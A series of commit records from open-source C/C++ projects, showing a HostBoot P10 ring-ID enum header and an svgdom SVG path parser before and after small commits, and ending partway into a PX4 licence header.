pau1_pau3_repr = 68, //0x44
pau1_pau3_time = 69, //0x45
// PAU2 Chiplet Rings
pau2_fure = 70, //0x46
pau2_gptr = 71, //0x47
pau2_repr = 72, //0x48
pau2_time = 73, //0x49
pau2_pau4_fure = 74, //0x4A
pau2_pau4_gptr = 75, //0x4B
pau2_pau4_repr = 76, //0x4C
pau2_pau4_time = 77, //0x4D
pau2_pau5_fure = 78, //0x4E
pau2_pau5_gptr = 79, //0x4F
pau2_pau5_repr = 80, //0x50
pau2_pau5_time = 81, //0x51
// PAU3 Chiplet Rings
pau3_fure = 82, //0x52
pau3_gptr = 83, //0x53
pau3_repr = 84, //0x54
pau3_time = 85, //0x55
pau3_pau6_fure = 86, //0x56
pau3_pau6_gptr = 87, //0x57
pau3_pau6_repr = 88, //0x58
pau3_pau6_time = 89, //0x59
pau3_pau7_fure = 90, //0x5A
pau3_pau7_gptr = 91, //0x5B
pau3_pau7_repr = 92, //0x5C
pau3_pau7_time = 93, //0x5D
// AXON Chiplet Rings
iohs_fure = 94, //0x5E
iohs_gptr = 95, //0x5F
iohs_repr = 96, //0x60
iohs_time = 97, //0x61
iohs_ndl_fure = 98, //0x62
iohs_ndl_gptr = 99, //0x63
iohs_ndl_repr = 100, //0x64
iohs_ndl_time = 101, //0x65
iohs_pdl_fure = 102, //0x66
iohs_pdl_gptr = 103, //0x67
iohs_pdl_repr = 104, //0x68
iohs_pdl_time = 105, //0x69
iohs_pll_func = 106, //0x6A
iohs_pll_bndy = 107, //0x6B
iohs_pll_bndy_bucket_0 = 108, //0x6C
iohs_pll_bndy_bucket_1 = 109, //0x6D
iohs_pll_bndy_bucket_2 = 110, //0x6E
iohs_pll_bndy_bucket_3 = 111, //0x6F
iohs_pll_bndy_bucket_4 = 112, //0x70
iohs_pll_gptr = 113, //0x71
// EQ Chiplet Rings
eq_fure = 114, //0x72
eq_gptr = 115, //0x73
eq_repr = 116, //0x74
eq_time = 117, //0x75
eq_cmsk = 118, //0x76
eq_inex = 119, //0x77
ec_cl2_fure = 120, //0x78
ec_cl2_gptr = 121, //0x79
ec_cl2_repr = 122, //0x7A
ec_cl2_time = 123, //0x7B
ec_cl2_cmsk = 124, //0x7C
ec_cl2_inex = 125, //0x7D
ec_mma_fure = 126, //0x7E
ec_mma_gptr = 127, //0x7F
ec_mma_repr = 128, //0x80
ec_mma_time = 129, //0x81
ec_mma_cmsk = 130, //0x82
ec_mma_inex = 131, //0x83
ec_l3_fure = 132, //0x84
ec_l3_gptr = 133, //0x85
ec_l3_repr = 134, //0x86
ec_l3_time = 135, //0x87
ec_l3_cmsk = 136, //0x88
ec_l3_inex = 137, //0x89
NUM_RING_IDS
}; // enum RingID
#endif // _P10_RING_ID_H_
<commit_msg>Eliminating separate MVPD ring lists and updating insertion order<commit_after>/* IBM_PROLOG_BEGIN_TAG */
/* This is an automatically generated prolog. */
/* */
/* $Source: src/import/chips/p10/utils/imageProcs/p10_ring_id.H $ */
/* */
/* OpenPOWER HostBoot Project */
/* */
/* Contributors Listed Below - COPYRIGHT 2016,2019 */
/* [+] International Business Machines Corp. */
/* */
/* */
/* Licensed under the Apache License, Version 2.0 (the "License"); */
/* you may not use this file except in compliance with the License. */
/* You may obtain a copy of the License at */
/* */
/* http://www.apache.org/licenses/LICENSE-2.0 */
/* */
/* Unless required by applicable law or agreed to in writing, software */
/* distributed under the License is distributed on an "AS IS" BASIS, */
/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or */
/* implied. See the License for the specific language governing */
/* permissions and limitations under the License. */
/* */
/* IBM_PROLOG_END_TAG */
#ifndef _P10_RING_ID_H_
#define _P10_RING_ID_H_
///
/// @enum RingID
/// @brief Master enumeration of all conceivable Ring ID values. These values
/// are used everywhere in Infrastructure codes, ifCompiler,
/// HWPs, Cronus, ipl_customize and ipl_image_tool.
enum RingID
{
// PERV Chiplet Rings
perv_fure = 0, //0x00
perv_occ_gptr = 1, //0x01
perv_occ_repr = 2, //0x02
perv_occ_time = 3, //0x03
sbe_fure = 4, //0x04
sbe_gptr = 5, //0x05
sbe_repr = 6, //0x06
sbe_time = 7, //0x07
occ_fure = 8, //0x08
perv_dpll_func = 9, //0x09
perv_dpll_bndy = 10, //0x0A
perv_dpll_gptr = 11, //0x0B
perv_pll_func = 12, //0x0C
perv_pll_bndy = 13, //0x0D
perv_pll_gptr = 14, //0x0E
// N0 Chiplet Rings
n0_fure = 15, //0x0F
n0_gptr = 16, //0x10
n0_repr = 17, //0x11
n0_time = 18, //0x12
// N1 Chiplet Rings
n1_fure = 19, //0x13
n1_gptr = 20, //0x14
n1_repr = 21, //0x15
n1_time = 22, //0x16
n1_nmmu1_fure = 23, //0x17
n1_nmmu1_gptr = 24, //0x18
n1_nmmu1_repr = 25, //0x19
n1_nmmu1_time = 26, //0x1A
// PCI Chiplet Rings
pci_fure = 27, //0x1B
pci_gptr = 28, //0x1C
pci_repr = 29, //0x1D
pci_time = 30, //0x1E
pci_ph5_fure = 31, //0x1F
pci_ph5_gptr = 32, //0x20
pci_ph5_repr = 33, //0x21
pci_ph5_time = 34, //0x22
pci_pll_func = 35, //0x23
pci_pll_bndy = 36, //0x24
pci_pll_gptr = 37, //0x25
// MC Chiplet Rings
mc_fure = 38, //0x26
mc_gptr = 39, //0x27
mc_repr = 40, //0x28
mc_time = 41, //0x29
mc_emo_fure = 42, //0x2A
mc_emo_gptr = 43, //0x2B
mc_emo_repr = 44, //0x2C
mc_emo_time = 45, //0x2D
mc_pll_func = 46, //0x2E
mc_pll_bndy = 47, //0x2F
mc_pll_bndy_bucket_0 = 48, //0x30
mc_pll_bndy_bucket_1 = 49, //0x31
mc_pll_bndy_bucket_2 = 50, //0x32
mc_pll_bndy_bucket_3 = 51, //0x33
mc_pll_bndy_bucket_4 = 52, //0x34
mc_pll_gptr = 53, //0x35
// PAU0 Chiplet Rings
pau0_fure = 54, //0x36
pau0_gptr = 55, //0x37
pau0_repr = 56, //0x38
pau0_time = 57, //0x39
pau0_pau0_fure = 58, //0x3A
pau0_pau0_gptr = 59, //0x3B
pau0_pau0_repr = 60, //0x3C
pau0_pau0_time = 61, //0x3D
// PAU1 Chiplet Rings
pau1_fure = 62, //0x3E
pau1_gptr = 63, //0x3F
pau1_repr = 64, //0x40
pau1_time = 65, //0x41
pau1_pau3_fure = 66, //0x42
pau1_pau3_gptr = 67, //0x43
pau1_pau3_repr = 68, //0x44
pau1_pau3_time = 69, //0x45
// PAU2 Chiplet Rings
pau2_fure = 70, //0x46
pau2_gptr = 71, //0x47
pau2_repr = 72, //0x48
pau2_time = 73, //0x49
pau2_pau4_fure = 74, //0x4A
pau2_pau4_gptr = 75, //0x4B
pau2_pau4_repr = 76, //0x4C
pau2_pau4_time = 77, //0x4D
pau2_pau5_fure = 78, //0x4E
pau2_pau5_gptr = 79, //0x4F
pau2_pau5_repr = 80, //0x50
pau2_pau5_time = 81, //0x51
// PAU3 Chiplet Rings
pau3_fure = 82, //0x52
pau3_gptr = 83, //0x53
pau3_repr = 84, //0x54
pau3_time = 85, //0x55
pau3_pau6_fure = 86, //0x56
pau3_pau6_gptr = 87, //0x57
pau3_pau6_repr = 88, //0x58
pau3_pau6_time = 89, //0x59
pau3_pau7_fure = 90, //0x5A
pau3_pau7_gptr = 91, //0x5B
pau3_pau7_repr = 92, //0x5C
pau3_pau7_time = 93, //0x5D
// AXON Chiplet Rings
iohs_fure = 94, //0x5E
iohs_gptr = 95, //0x5F
iohs_repr = 96, //0x60
iohs_time = 97, //0x61
iohs_ndl_fure = 98, //0x62
iohs_ndl_gptr = 99, //0x63
iohs_ndl_repr = 100, //0x64
iohs_ndl_time = 101, //0x65
iohs_pdl_fure = 102, //0x66
iohs_pdl_gptr = 103, //0x67
iohs_pdl_repr = 104, //0x68
iohs_pdl_time = 105, //0x69
iohs_pll_func = 106, //0x6A
iohs_pll_bndy = 107, //0x6B
iohs_pll_bndy_bucket_0 = 108, //0x6C
iohs_pll_bndy_bucket_1 = 109, //0x6D
iohs_pll_bndy_bucket_2 = 110, //0x6E
iohs_pll_bndy_bucket_3 = 111, //0x6F
iohs_pll_bndy_bucket_4 = 112, //0x70
iohs_pll_gptr = 113, //0x71
// EQ Chiplet Rings
eq_fure = 114, //0x72
eq_gptr = 115, //0x73
eq_repr = 116, //0x74
eq_time = 117, //0x75
eq_cmsk = 118, //0x76
eq_inex = 119, //0x77
ec_cl2_fure = 120, //0x78
ec_cl2_gptr = 121, //0x79
ec_cl2_repr = 122, //0x7A
ec_cl2_time = 123, //0x7B
ec_cl2_cmsk = 124, //0x7C
ec_cl2_inex = 125, //0x7D
ec1_cl2_repr = 126, //0x7E
ec2_cl2_repr = 127, //0x7F
ec3_cl2_repr = 128, //0x80
ec_mma_fure = 129, //0x81
ec_mma_gptr = 130, //0x82
ec_mma_repr = 131, //0x83
ec_mma_time = 132, //0x84
ec_mma_cmsk = 133, //0x85
ec_mma_inex = 134, //0x86
ec1_mma_repr = 135, //0x87
ec2_mma_repr = 136, //0x88
ec3_mma_repr = 137, //0x89
ec_l3_fure = 138, //0x8A
ec_l3_gptr = 139, //0x8B
ec_l3_repr = 140, //0x8C
ec_l3_time = 141, //0x8D
ec_l3_cmsk = 142, //0x8E
ec_l3_inex = 143, //0x8F
ec1_l3_repr = 144, //0x90
ec2_l3_repr = 145, //0x91
ec3_l3_repr = 146, //0x92
NUM_RING_IDS
}; // enum RingID
#endif // _P10_RING_ID_H_
<|endoftext|>
|
<commit_before>#include "Shapes.hpp"
#include <sstream>
#include <cctype>
#include <utki/debug.hpp>
#include "../util.hxx"
#include "../Visitor.hpp"
using namespace svgdom;
void PathElement::accept(Visitor& visitor) const{
visitor.visit(*this);
}
void RectElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void CircleElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void EllipseElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void LineElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void PolygonElement::accept(Visitor& visistor) const {
visistor.visit(*this);
}
void PolylineElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
std::string PolylineShape::pointsToString() const {
std::stringstream s;
bool isFirst = true;
for(auto& p : this->points){
if(isFirst){
isFirst = false;
}else{
s << ',';
}
s << p[0] << ',' << p[1];
}
return s.str();
}
decltype(PathElement::path) PathElement::parse(const std::string& str){
decltype(PathElement::path) ret;
// TRACE(<< "str = " << str << std::endl)
std::istringstream s(str);
s >> std::skipws;
skipWhitespaces(s);
Step::Type_e curType = Step::Type_e::UNKNOWN;
while(!s.eof()){
ASSERT(!std::isspace(s.peek()))//spaces should be skept
// TRACE(<< "s.peek() = " << char(s.peek()) << std::endl)
{
auto t = Step::charToType(s.peek());
if(t != Step::Type_e::UNKNOWN){
curType = t;
s.get();
}else if(curType == Step::Type_e::UNKNOWN){
curType = Step::Type_e::MOVE_ABS;
}else if(curType == Step::Type_e::MOVE_ABS){
curType = Step::Type_e::LINE_ABS;
}else if(curType == Step::Type_e::MOVE_REL){
curType = Step::Type_e::LINE_REL;
}
}
skipWhitespaces(s);
Step step;
step.type = curType;
switch(step.type){
case Step::Type_e::MOVE_ABS:
case Step::Type_e::MOVE_REL:
case Step::Type_e::LINE_ABS:
case Step::Type_e::LINE_REL:
step.x = readInReal(s);
if(s.fail()){
return ret;
}
// TRACE(<< "step.x = " << step.x << std::endl)
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
// TRACE(<< "step.y = " << step.y << std::endl)
break;
case Step::Type_e::CLOSE:
break;
case Step::Type_e::HORIZONTAL_LINE_ABS:
case Step::Type_e::HORIZONTAL_LINE_REL:
step.x = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::VERTICAL_LINE_ABS:
case Step::Type_e::VERTICAL_LINE_REL:
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::CUBIC_ABS:
case Step::Type_e::CUBIC_REL:
step.x1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::CUBIC_SMOOTH_ABS:
case Step::Type_e::CUBIC_SMOOTH_REL:
step.x2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::QUADRATIC_ABS:
case Step::Type_e::QUADRATIC_REL:
step.x1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::QUADRATIC_SMOOTH_ABS:
case Step::Type_e::QUADRATIC_SMOOTH_REL:
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::ARC_ABS:
case Step::Type_e::ARC_REL:
step.rx = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.ry = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.xAxisRotation = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
{
unsigned f;
s >> f;
if(s.fail()){
return ret;
}
step.flags.largeArc = (f != 0);
}
skipWhitespacesAndOrComma(s);
{
unsigned f;
s >> f;
if(s.fail()){
return ret;
}
step.flags.sweep = (f != 0);
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
default:
ASSERT(false)
break;
}
ret.push_back(step);
skipWhitespacesAndOrComma(s);
}
return ret;
}
std::string PathElement::pathToString() const {
std::stringstream s;
Step::Type_e curType = Step::Type_e::UNKNOWN;
bool first = true;
for(auto& step : this->path){
if(curType == step.type){
s << " ";
}else{
if (first)
first = false;
else
s << " ";
s << Step::typeToChar(step.type);
curType = step.type;
}
switch(step.type){
case Step::Type_e::MOVE_ABS:
case Step::Type_e::MOVE_REL:
case Step::Type_e::LINE_ABS:
case Step::Type_e::LINE_REL:
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::CLOSE:
break;
case Step::Type_e::HORIZONTAL_LINE_ABS:
case Step::Type_e::HORIZONTAL_LINE_REL:
s << step.x;
break;
case Step::Type_e::VERTICAL_LINE_ABS:
case Step::Type_e::VERTICAL_LINE_REL:
s << step.y;
break;
case Step::Type_e::CUBIC_ABS:
case Step::Type_e::CUBIC_REL:
s << step.x1;
s << ",";
s << step.y1;
s << " ";
s << step.x2;
s << ",";
s << step.y2;
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::CUBIC_SMOOTH_ABS:
case Step::Type_e::CUBIC_SMOOTH_REL:
s << step.x2;
s << ",";
s << step.y2;
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::QUADRATIC_ABS:
case Step::Type_e::QUADRATIC_REL:
s << step.x1;
s << ",";
s << step.y1;
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::QUADRATIC_SMOOTH_ABS:
case Step::Type_e::QUADRATIC_SMOOTH_REL:
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::ARC_ABS:
case Step::Type_e::ARC_REL:
s << step.rx;
s << ",";
s << step.ry;
s << " ";
s << step.xAxisRotation;
s << " ";
s << (step.flags.largeArc ? "1" : "0");
s << ",";
s << (step.flags.sweep ? "1" : "0");
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
default:
ASSERT(false)
break;
}
}
return s.str();
}
char PathElement::Step::typeToChar(Type_e t){
switch(t){
case Step::Type_e::MOVE_ABS:
return 'M';
case Step::Type_e::MOVE_REL:
return 'm';
case Step::Type_e::LINE_ABS:
return 'L';
case Step::Type_e::LINE_REL:
return 'l';
case Step::Type_e::CLOSE:
return 'z';
case Step::Type_e::HORIZONTAL_LINE_ABS:
return 'H';
case Step::Type_e::HORIZONTAL_LINE_REL:
return 'h';
case Step::Type_e::VERTICAL_LINE_ABS:
return 'V';
case Step::Type_e::VERTICAL_LINE_REL:
return 'v';
case Step::Type_e::CUBIC_ABS:
return 'C';
case Step::Type_e::CUBIC_REL:
return 'c';
case Step::Type_e::CUBIC_SMOOTH_ABS:
return 'S';
case Step::Type_e::CUBIC_SMOOTH_REL:
return 's';
case Step::Type_e::QUADRATIC_ABS:
return 'Q';
case Step::Type_e::QUADRATIC_REL:
return 'q';
case Step::Type_e::QUADRATIC_SMOOTH_ABS:
return 'T';
case Step::Type_e::QUADRATIC_SMOOTH_REL:
return 't';
case Step::Type_e::ARC_ABS:
return 'A';
case Step::Type_e::ARC_REL:
return 'a';
default:
ASSERT(false)
return ' ';
}
}
PathElement::Step::Type_e PathElement::Step::charToType(char c){
switch(c){
case 'M':
return Step::Type_e::MOVE_ABS;
case 'm':
return Step::Type_e::MOVE_REL;
case 'z':
case 'Z':
return Step::Type_e::CLOSE;
case 'L':
return Step::Type_e::LINE_ABS;
case 'l':
return Step::Type_e::LINE_REL;
case 'H':
return Step::Type_e::HORIZONTAL_LINE_ABS;
case 'h':
return Step::Type_e::HORIZONTAL_LINE_REL;
case 'V':
return Step::Type_e::VERTICAL_LINE_ABS;
case 'v':
return Step::Type_e::VERTICAL_LINE_REL;
case 'C':
return Step::Type_e::CUBIC_ABS;
case 'c':
return Step::Type_e::CUBIC_REL;
case 'S':
return Step::Type_e::CUBIC_SMOOTH_ABS;
case 's':
return Step::Type_e::CUBIC_SMOOTH_REL;
case 'Q':
return Step::Type_e::QUADRATIC_ABS;
case 'q':
return Step::Type_e::QUADRATIC_REL;
case 'T':
return Step::Type_e::QUADRATIC_SMOOTH_ABS;
case 't':
return Step::Type_e::QUADRATIC_SMOOTH_REL;
case 'A':
return Step::Type_e::ARC_ABS;
case 'a':
return Step::Type_e::ARC_REL;
default:
return Step::Type_e::UNKNOWN;
}
}
decltype(PolylineShape::points) PolylineShape::parse(const std::string& str) {
decltype(PolylineShape::points) ret;
std::istringstream s(str);
s >> std::skipws;
skipWhitespaces(s);
while(!s.eof()){
decltype(ret)::value_type p;
p[0] = readInReal(s);
skipWhitespacesAndOrComma(s);
p[1] = readInReal(s);
if(s.fail()){
break;
}
ret.push_back(p);
skipWhitespacesAndOrComma(s);
}
return ret;
}
<commit_msg>Shapes: Added curly braces in function pathToString()<commit_after>#include "Shapes.hpp"
#include <sstream>
#include <cctype>
#include <utki/debug.hpp>
#include "../util.hxx"
#include "../Visitor.hpp"
using namespace svgdom;
void PathElement::accept(Visitor& visitor) const{
visitor.visit(*this);
}
void RectElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void CircleElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void EllipseElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void LineElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
void PolygonElement::accept(Visitor& visistor) const {
visistor.visit(*this);
}
void PolylineElement::accept(Visitor& visitor) const {
visitor.visit(*this);
}
std::string PolylineShape::pointsToString() const {
std::stringstream s;
bool isFirst = true;
for(auto& p : this->points){
if(isFirst){
isFirst = false;
}else{
s << ',';
}
s << p[0] << ',' << p[1];
}
return s.str();
}
decltype(PathElement::path) PathElement::parse(const std::string& str){
decltype(PathElement::path) ret;
// TRACE(<< "str = " << str << std::endl)
std::istringstream s(str);
s >> std::skipws;
skipWhitespaces(s);
Step::Type_e curType = Step::Type_e::UNKNOWN;
while(!s.eof()){
ASSERT(!std::isspace(s.peek()))//spaces should be skept
// TRACE(<< "s.peek() = " << char(s.peek()) << std::endl)
{
auto t = Step::charToType(s.peek());
if(t != Step::Type_e::UNKNOWN){
curType = t;
s.get();
}else if(curType == Step::Type_e::UNKNOWN){
curType = Step::Type_e::MOVE_ABS;
}else if(curType == Step::Type_e::MOVE_ABS){
curType = Step::Type_e::LINE_ABS;
}else if(curType == Step::Type_e::MOVE_REL){
curType = Step::Type_e::LINE_REL;
}
}
skipWhitespaces(s);
Step step;
step.type = curType;
switch(step.type){
case Step::Type_e::MOVE_ABS:
case Step::Type_e::MOVE_REL:
case Step::Type_e::LINE_ABS:
case Step::Type_e::LINE_REL:
step.x = readInReal(s);
if(s.fail()){
return ret;
}
// TRACE(<< "step.x = " << step.x << std::endl)
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
// TRACE(<< "step.y = " << step.y << std::endl)
break;
case Step::Type_e::CLOSE:
break;
case Step::Type_e::HORIZONTAL_LINE_ABS:
case Step::Type_e::HORIZONTAL_LINE_REL:
step.x = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::VERTICAL_LINE_ABS:
case Step::Type_e::VERTICAL_LINE_REL:
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::CUBIC_ABS:
case Step::Type_e::CUBIC_REL:
step.x1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::CUBIC_SMOOTH_ABS:
case Step::Type_e::CUBIC_SMOOTH_REL:
step.x2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y2 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::QUADRATIC_ABS:
case Step::Type_e::QUADRATIC_REL:
step.x1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y1 = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::QUADRATIC_SMOOTH_ABS:
case Step::Type_e::QUADRATIC_SMOOTH_REL:
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
case Step::Type_e::ARC_ABS:
case Step::Type_e::ARC_REL:
step.rx = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.ry = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.xAxisRotation = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
{
unsigned f;
s >> f;
if(s.fail()){
return ret;
}
step.flags.largeArc = (f != 0);
}
skipWhitespacesAndOrComma(s);
{
unsigned f;
s >> f;
if(s.fail()){
return ret;
}
step.flags.sweep = (f != 0);
}
skipWhitespacesAndOrComma(s);
step.x = readInReal(s);
if(s.fail()){
return ret;
}
skipWhitespacesAndOrComma(s);
step.y = readInReal(s);
if(s.fail()){
return ret;
}
break;
default:
ASSERT(false)
break;
}
ret.push_back(step);
skipWhitespacesAndOrComma(s);
}
return ret;
}
std::string PathElement::pathToString() const {
std::stringstream s;
Step::Type_e curType = Step::Type_e::UNKNOWN;
bool first = true;
for(auto& step : this->path){
if(curType == step.type){
s << " ";
}else{
if (first) {
first = false;
} else {
s << " ";
}
s << Step::typeToChar(step.type);
curType = step.type;
}
switch(step.type){
case Step::Type_e::MOVE_ABS:
case Step::Type_e::MOVE_REL:
case Step::Type_e::LINE_ABS:
case Step::Type_e::LINE_REL:
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::CLOSE:
break;
case Step::Type_e::HORIZONTAL_LINE_ABS:
case Step::Type_e::HORIZONTAL_LINE_REL:
s << step.x;
break;
case Step::Type_e::VERTICAL_LINE_ABS:
case Step::Type_e::VERTICAL_LINE_REL:
s << step.y;
break;
case Step::Type_e::CUBIC_ABS:
case Step::Type_e::CUBIC_REL:
s << step.x1;
s << ",";
s << step.y1;
s << " ";
s << step.x2;
s << ",";
s << step.y2;
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::CUBIC_SMOOTH_ABS:
case Step::Type_e::CUBIC_SMOOTH_REL:
s << step.x2;
s << ",";
s << step.y2;
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::QUADRATIC_ABS:
case Step::Type_e::QUADRATIC_REL:
s << step.x1;
s << ",";
s << step.y1;
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::QUADRATIC_SMOOTH_ABS:
case Step::Type_e::QUADRATIC_SMOOTH_REL:
s << step.x;
s << ",";
s << step.y;
break;
case Step::Type_e::ARC_ABS:
case Step::Type_e::ARC_REL:
s << step.rx;
s << ",";
s << step.ry;
s << " ";
s << step.xAxisRotation;
s << " ";
s << (step.flags.largeArc ? "1" : "0");
s << ",";
s << (step.flags.sweep ? "1" : "0");
s << " ";
s << step.x;
s << ",";
s << step.y;
break;
default:
ASSERT(false)
break;
}
}
return s.str();
}
char PathElement::Step::typeToChar(Type_e t){
switch(t){
case Step::Type_e::MOVE_ABS:
return 'M';
case Step::Type_e::MOVE_REL:
return 'm';
case Step::Type_e::LINE_ABS:
return 'L';
case Step::Type_e::LINE_REL:
return 'l';
case Step::Type_e::CLOSE:
return 'z';
case Step::Type_e::HORIZONTAL_LINE_ABS:
return 'H';
case Step::Type_e::HORIZONTAL_LINE_REL:
return 'h';
case Step::Type_e::VERTICAL_LINE_ABS:
return 'V';
case Step::Type_e::VERTICAL_LINE_REL:
return 'v';
case Step::Type_e::CUBIC_ABS:
return 'C';
case Step::Type_e::CUBIC_REL:
return 'c';
case Step::Type_e::CUBIC_SMOOTH_ABS:
return 'S';
case Step::Type_e::CUBIC_SMOOTH_REL:
return 's';
case Step::Type_e::QUADRATIC_ABS:
return 'Q';
case Step::Type_e::QUADRATIC_REL:
return 'q';
case Step::Type_e::QUADRATIC_SMOOTH_ABS:
return 'T';
case Step::Type_e::QUADRATIC_SMOOTH_REL:
return 't';
case Step::Type_e::ARC_ABS:
return 'A';
case Step::Type_e::ARC_REL:
return 'a';
default:
ASSERT(false)
return ' ';
}
}
PathElement::Step::Type_e PathElement::Step::charToType(char c){
switch(c){
case 'M':
return Step::Type_e::MOVE_ABS;
case 'm':
return Step::Type_e::MOVE_REL;
case 'z':
case 'Z':
return Step::Type_e::CLOSE;
case 'L':
return Step::Type_e::LINE_ABS;
case 'l':
return Step::Type_e::LINE_REL;
case 'H':
return Step::Type_e::HORIZONTAL_LINE_ABS;
case 'h':
return Step::Type_e::HORIZONTAL_LINE_REL;
case 'V':
return Step::Type_e::VERTICAL_LINE_ABS;
case 'v':
return Step::Type_e::VERTICAL_LINE_REL;
case 'C':
return Step::Type_e::CUBIC_ABS;
case 'c':
return Step::Type_e::CUBIC_REL;
case 'S':
return Step::Type_e::CUBIC_SMOOTH_ABS;
case 's':
return Step::Type_e::CUBIC_SMOOTH_REL;
case 'Q':
return Step::Type_e::QUADRATIC_ABS;
case 'q':
return Step::Type_e::QUADRATIC_REL;
case 'T':
return Step::Type_e::QUADRATIC_SMOOTH_ABS;
case 't':
return Step::Type_e::QUADRATIC_SMOOTH_REL;
case 'A':
return Step::Type_e::ARC_ABS;
case 'a':
return Step::Type_e::ARC_REL;
default:
return Step::Type_e::UNKNOWN;
}
}
decltype(PolylineShape::points) PolylineShape::parse(const std::string& str) {
decltype(PolylineShape::points) ret;
std::istringstream s(str);
s >> std::skipws;
skipWhitespaces(s);
while(!s.eof()){
decltype(ret)::value_type p;
p[0] = readInReal(s);
skipWhitespacesAndOrComma(s);
p[1] = readInReal(s);
if(s.fail()){
break;
}
ret.push_back(p);
skipWhitespacesAndOrComma(s);
}
return ret;
}
<|endoftext|>
|
<commit_before>/****************************************************************************
*
* Copyright (c) 2018 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
